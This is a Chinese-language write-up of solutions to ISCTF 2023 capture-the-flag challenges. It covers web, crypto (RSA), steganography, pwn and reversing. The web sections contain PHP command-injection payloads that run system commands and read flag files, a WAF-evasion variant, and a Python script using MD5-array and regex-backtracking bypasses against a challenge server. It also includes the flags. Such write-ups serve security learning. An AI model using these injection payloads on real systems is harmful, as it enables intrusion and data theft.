Web-where_is_the_flag

1=system("ls");
发现flag.php index.php
flag1: 1=show_source('flag.php');

1=system("ls /");
发现flag2
flag2: 1=system("cat /flag2");
1=phpinfo();
找到flag3
ISCTF{828b2469-d08d-4c48-930d-dbf5f6cbaeaa}

Web-绕进你心里

 <?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
$str = (String)$_POST['pan_gu'];
$num = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){
    echo "md5绕过了!";
    if(preg_match("/[0-9]/", $num)){
        die('你干嘛?哎哟!');
    }
    elseif(intval($num)){
        if(preg_match('/.+?ISCTF/is', $str)){
            die("再想想!");
        }
        if(stripos($str, '2023ISCTF') === false){
            die("就差一点点啦!");
        }
        echo $flag;
    }
}
?> 
import requests

data1 = {
    'pan_gu': '2023is'*1000000+'ctf2023isctf'  # 不唯一，重点是1000000绕过前面的preg_match，再检索到2023ISCTF即可
}
res = requests.post('http://43.249.195.138:21528/?hongmeng[]=21&shennong[]=22&zhurong[]=1',
                    data=data1, allow_redirects=False)
print(res.text)

一开始最后两个直接一起绕过，绕不过去，后来先把正则匹配绕过去，再绕stripos就可以了

Web-wafr

这个新生赛嘛，理解理解

post: code=system('ca\t /f*')

Crypto-七七的欧拉

yafu分解n失败，然后factor网站不知道为什么用不了，pip下了factordb-pycli才分解到，直接命令执行factordb n

from Crypto.Util.number import *
e = 
n = 
c = 
p = 
d = inverse(e, pow(p, 8)-pow(p, 7))
print(long_to_bytes(pow(c, d, n)))
# ISCTF{3237saq-21se82-3s74f8-8h84ps7-9qw45v7-6bs531-s26h23-c7iu01}

Crypto-easy_rsa

题目给出数据后，如果不做输入的话，会关上连接，还以为是要戳个交互脚本，差点不会，其实flag还是同一个

p = 
q = 
e = 
c = 
d = inverse(e, (p-1)*(q-1))
print(long_to_bytes(pow(c, d, p*q)))

Crypto-rsa_d

这下更简单了，d等着输入呢

p = 49809223
q = 43530709
e = 65537
d = inverse(e, (p-1)*(q-1))
print(d)

Crypto-1zrsa

题目

from secret import flag
from Crypto.Util.number import *
import gmpy2

e = 65537
def genKey(nbits):
    while 1:
        p1 = getPrime(3*nbits)
        p2 = gmpy2.next_prime(p1)
        q1 = getPrime(nbits)
        q2 = getPrime(nbits)
        print(abs((p1 - p2)*q1*q2 / p2) < 0.5)
        if (abs((p1 - p2)*q1*q2 / p2) < 0.5):
            n1 = p1 * q1
            n2 = p2 * q2
            return n1,n2

def encrypt(message,e,n):
    m = bytes_to_long(message)
    cipher = pow(m,e,n)
    return cipher

e = 65537
nbits = 512
N1,N2 = genKey(nbits)
c = encrypt(flag,e,N1)

print("c =",c)
print("N1 =",N1)
print("N2 =",N2)

"""
c = 10514867898770499427284608506159580569755258729683776720082395249877529851029152305989048383470182992945743997295638334301128554841767619528809377736651238576700664675871769469687466885347209033023021132575700436470105289467423655742323143373578268184141573237433927498143740155552829633601489926767185335051352605346248971754473960051955670785777007641909166041398566067524811394639822575661469340152913706417365065683835945980239268665146900957692685590242386540944646586739158427428484471978559453954674292300496568823382513505511940062159025700312492163454304120916055466108498000990408937265075788135466153131436
N1 = 29306627985861300819651846356448043523015086509329909246911330574896611830331438353458702041787309531570626136669100576501108581024502570212983369979387658041578384466200573362881060761873478590684611265249166591510948597798713864127744488747451815919677861684787135464097885906630772472111899455047125676738720391327331161464894360886214160668909531050207033060523194208723151015702926842472554933849380343375654696115359960495727909221926251630408376527033291123026893207722440649867394971680316008434251667567174806214522621693042164997381729300075394393372808917061813346794422821819494227772694592990703688149467
N2 = 18405525902524887428651801489049128242565457677879715229456940729064725933277139190670749899959483734341103740185991771024797037242681566772189045321838652668819112989587974866361063424698215713773139281840970499871668796770682692589505769008516630604297570518689639885716307469568821629424402742264467677407820449195383921766157185602677665872353099155904715047452319853202981674101731121033360393547940246101864940155160699277417096395998766928213545196492031975135121409309520198853066288180944871441224241681478164494169741263236267316380581883196836731872676312125837497320438964940186318916950049777255612191899
"""

一直没什么思路，没有打出来，但题目先放这了

Misc-签到

签完就润

Misc-小猫

发现jpg头，JFIF，删除一些不必要信息，得到一张图片

结合小猫上面的坐标，编写脚本：

a = [['富强', '民主', '文明', '和谐'],
     ['自由', '平等', '公正', '法治'],
     ['爱国', '敬业', '诚信', '友善']]
b = [['爱国', '自由', '富强'],
     ['敬业', '平等', '民主'],
     ['诚信', '公正', '文明'],
     ['友善', '法治', '和谐']]
c = [['富强', '自由', '爱国'],
     ['民主', '平等', '敬业'],
     ['文明', '公正', '诚信'],
     ['和谐', '法治', '友善']]
numlist = '32323233313221324242332132213241322141214123412232323212414132124111323241314141412341314122411241133212411141314123414241324142321232313232414241324132424342'
j = 0
while j <= len(numlist)-2:
    print(c[int(numlist[j])-1][int(numlist[j+1])-1], end='')
    j += 2
# 公正公正公正诚信文明公正民主公正法治法治诚信民主公正民主公正和谐公正民主和谐民主和谐敬业和谐平等公正公正公正自由和谐和谐公正自由和谐富强公正公正和谐文明和谐和谐和谐敬业和谐文明和谐平等和谐自由和谐爱国公正自由和谐富强和谐文明和谐敬业和谐法治和谐公正和谐法治公正自由公正文明公正公正和谐法治和谐公正和谐公正法治友善法治
# flag{aca195fd3d0f2392548d029767dbf766}

好好好，一开始b是有问题的，c是正确的，需要把b反转一下，确实这道题有点开脑洞了

Misc-easy_zip

确实送分，直接破，密码：399525
ISCTF{9b28de4e-0abb-4d6f-9b8f-4e4ee1732b09}

Misc-杰伦可是流量明星

binwalk 进行分离，《不能说的密码》没有啥信息，分析流量包

在url编码中，%7B %7D正是{},ISCTF{wddhr836459_83}
(直接记事本打开也可以！！)

Misc-蓝鲨的福利

010打开，0D 0A 1A 0A,格式丢失，缺少png文件头，89 50 4E 47
发现flag,ISCTF{blueshark_welcome_you}

Misc-镜流

很明显，像素点提取，缩小10倍

from PIL import Image

img = Image.open("1new.png")
w = img.width
h = img.height
img_obj = Image.new("RGB", (w//10, h//10))

for x in range(w//10):
    for y in range(h//10):
        rgb = img.getpixel((x*10, y*10))
        img_obj.putpixel((x, y), rgb)
img_obj.save("jliu.png")

lsb隐写，(0,0,0)

Misc-Ez_misc

打开ppt，没有发现关键信息
记事本打开，搜索key，发现可疑字符串M13c_!ps2s23
得到一张jpg图片，010打开末尾为fake-flag，补上文件头FF D8 FF E0

扫码得到
flag{5e093f8a-6b8c-4fa5-b9f7-0ae3b6b0da56}

Misc-PNG的基本食用

part1，总感觉宽高有点不太对劲，拖入虚拟机，无法显示，直接crc值爆破宽高ISCTF{png-is-
part2，lsb隐写，rgb(0,0,0),在头部发现so-ez-
part3，文件分离，010打开，可以在尾部发现7z头，复制新建，得到7z文件，for-you}
ISCTF{png-is-so-ez-for-you}

Misc-MCSOG-猫猫

猫猫回复中并没有看见flag，应该隐写了
花了50分，vim查看，看见有<200c><200e><202e>三种零宽度字符，网上看到了一道例题，照着打
找个在线网站

ISCTF{[o]F0oO.LliI_Bu_D4Ng_r3N}

Pwn-test_nc

Linux下，nc ip port

Pwn-nc_shell

Linux下，nc ip port ->ls->cat flag(两道签到pwn)

Reserve-crack_me

丢进IDA，什么都没找到，鉴于是re的签到题，拖入小黑窗
ISCTF{873c-298c-2948-23bh-291h-kt30}